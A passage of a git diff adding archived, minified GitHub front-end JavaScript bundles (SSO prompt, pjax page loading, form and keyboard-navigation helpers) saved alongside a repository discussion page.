a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container .js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js new file mode 100644 index 0000000..eecbc9b --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof 